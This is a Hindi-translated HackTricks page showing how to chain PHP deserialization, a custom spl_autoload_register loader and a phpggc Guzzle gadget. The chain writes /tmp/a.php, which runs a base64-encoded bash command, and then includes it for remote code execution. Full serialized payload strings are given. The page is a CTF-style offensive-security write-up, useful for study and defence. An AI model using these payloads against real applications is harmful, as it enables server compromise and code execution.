14 KiB
PHP - डीसीरियलाइजेशन + ऑटोलोड क्लासेस
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें द्वारा PR जमा करके HackTricks और HackTricks Cloud github रेपो में।
पहले, आपको देखना चाहिए कि ऑटोलोडिंग क्लासेस क्या हैं।
PHP डीसीरियलाइजेशन + spl_autoload_register + LFI/Gadget
हम एक स्थिति में हैं जहाँ हमने एक वेब ऐप में PHP डीसीरियलाइजेशन पाया है जिसमें phpggc
के अंदर कोई गैजेट वलनरेबल लाइब्रेरी नहीं है। हालांकि, उसी कंटेनर में एक वलनरेबल लाइब्रेरी के साथ अलग कंपोजर वेब ऐप था। इसलिए, लक्ष्य था कि दूसरे वेब ऐप के कंपोजर लोडर को लोड करें और इसका दुरुपयोग करें ताकि उस लाइब्रेरी को एक गैजेट के साथ उत्पीड़ित करें जो डीसीरियलाइजेशन के लिए वलनरेबल वेब ऐप से है।
चरण:
- आपने एक डीसीरियलाइजेशन पाया है और वर्तमान ऐप कोड में कोई गैजेट नहीं है
- आप निम्नलिखित तरह का
spl_autoload_register
फ़ंक्शन दुरुपयोग कर सकते हैं ताकि.php
एक्सटेंशन वाली किसी भी स्थानीय फ़ाइल को लोड करें - इसके लिए आप एक डीसीरियलाइजेशन का दुरुपयोग करते हैं जिसमें क्लास का नाम
$name
के अंदर होगा। आप "/" या "." का उपयोग एक सीरीयलाइज्ड ऑब्जेक्ट में क्लास नाम में नहीं कर सकते हैं, लेकिन कोड ने अंडरस्कोर ("_") को स्लैश ("/") में बदल दिया है। इसलिए, एक क्लास नाम जैसेtmp_passwd
को/tmp/passwd.php
में बदल दिया जाएगा और कोड इसे लोड करने की कोशिश करेगा।
एक गैजेट उदाहरण होगा:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
{% hint style="success" %}
यदि आपके पास एक फ़ाइल अपलोड है और आप एक फ़ाइल अपलोड कर सकते हैं जिसमें .php
एक्सटेंशन है, तो आप इस कार्यक्षमता का सीधा दुरुपयोग कर सकते हैं और पहले से ही RCE प्राप्त कर सकते हैं।
{% endhint %}
मेरे मामले में, मेरे पास ऐसा कुछ नहीं था, लेकिन एक ही कंटेनर में एक और कॉम्पोज़र वेब पेज था जिसमें एक phpggc
गैजेट के लिए एक लाइब्रेरी वंशवत था।
- इस दूसरी लाइब्रेरी को लोड करने के लिए, पहले आपको उस दूसरे वेब ऐप के कॉम्पोज़र लोडर को लोड करना होगा (क्योंकि मौजूदा एप्लिकेशन का वन अन्य की लाइब्रेरी तक पहुंच नहीं होगा)। एप्लिकेशन के पथ को जानते हुए, आप इसे बहुत आसानी से प्राप्त कर सकते हैं:
O:28:"www_frontend_vendor_autoload":0:{}
(मेरे मामले में, कॉम्पोज़र लोडर/www/frontend/vendor/autoload.php
में था) - अब, आप अन्य ऐप कॉम्पोज़र लोडर को लोड कर सकते हैं, तो अब समय है
phpggc
पेलोड उपयोग करने के लिए। मेरे मामले में, मैंनेGuzzle/FW1
का उपयोग किया, जिसने मुझे फ़ाइल सिस्टम के अंदर कोई भी फ़ाइल लिखने की अनुमति दी। - ध्यान दें: उत्पन्न गैजेट काम नहीं कर रहा था, इसे काम करने के लिए मैंने उस पेलोड
chain.php
को संशोधित किया और सभी विशेषताएँ क्लासों की निजी से सार्वजनिक में सेट की। अगर नहीं, स्ट्रिंग को डिसीरियलाइज़ करने के बाद, बनाए गए ऑब्जेक्ट्स की विशेषताएँ कोई मान नहीं रखती थीं। - अब हमारे पास तरीका है अन्य ऐप कॉम्पोज़र लोडर को लोड करने का और एक काम करने वाला phpggc पेलोड है, लेकिन हमें इसे इसी अनुरोध में करने की आवश्यकता है ताकि गैजेट का उपयोग किया जाए जब लोडर लोड हो। उसके लिए, मैंने एक सीरीयलाइज़ एरे भेजा जिसमें दोनों ऑब्जेक्ट्स थे:
- आप पहले लोडर को लोड होते देख सकते हैं और फिर पेलोड
{% code overflow="wrap" %}
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
{% endcode %}
- अब, हम एक फ़ाइल बना सकते हैं और लिख सकते हैं, हालांकि, उपयोगकर्ता वेब सर्वर के अंदर किसी भी फ़ोल्डर में लिख नहीं सकता था। इसलिए, जैसा कि आप पेलोड में देख सकते हैं, PHP
system
को कुछ base64 के साथ बनाया गया है/tmp/a.php
में। फिर, हम दूसरे वेबऐप के कॉम्पोज़र लोडर को लोड करने के लिए पहले प्रकार के पेलोड को पुनः प्रयोग कर सकते हैं जिसे हमने LFI के रूप में उपयोग किया था/tmp/a.php
फ़ाइल को लोड करने के लिए। इसे डेसीरियलाइज़ेशन गैजेट में जोड़ें:
{% code overflow="wrap" %}
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
{% endcode %}
पेलोड का सारांश
- एक अलग वेबऐप के कंटेनर में कॉम्पोजर ऑटोलोड लोड करें
- फिलहाल वेबऐप के लाइब्रेरी का दुरुपयोग करने के लिए एक फीजी साधन लोड करें (जिस पर डेसीरियलाइजेशन के लिए विकल्प वेबऐप में कोई गैजेट नहीं था)
- फीजी एक फ़ाइल बनाएगा जिसमें PHP पेलोड होगा जिसमें दुराचारी कमांड होंगे (/tmp/a.php में) (वेबऐप उपयोगकर्ता किसी भी वेबऐप के किसी भी फ़ोल्डर में लिख नहीं सकता)
- हमारे पेलोड का अंतिम हिस्सा उस उत्पन्न PHP फ़ाइल को लोड करेगा जो कमांड निष्पादित करेगा
मुझे इस डेसीरियलाइजेशन को दो बार कॉल करने की आवश्यकता थी। मेरे परीक्षण में, पहली बार /tmp/a.php
फ़ाइल बनाई गई थी लेकिन लोड नहीं हुई, और दूसरी बार यह सही ढंग से लोड हुई।
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फ़ॉलो** करें।
- अपने हैकिंग ट्रिक्स साझा करें हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।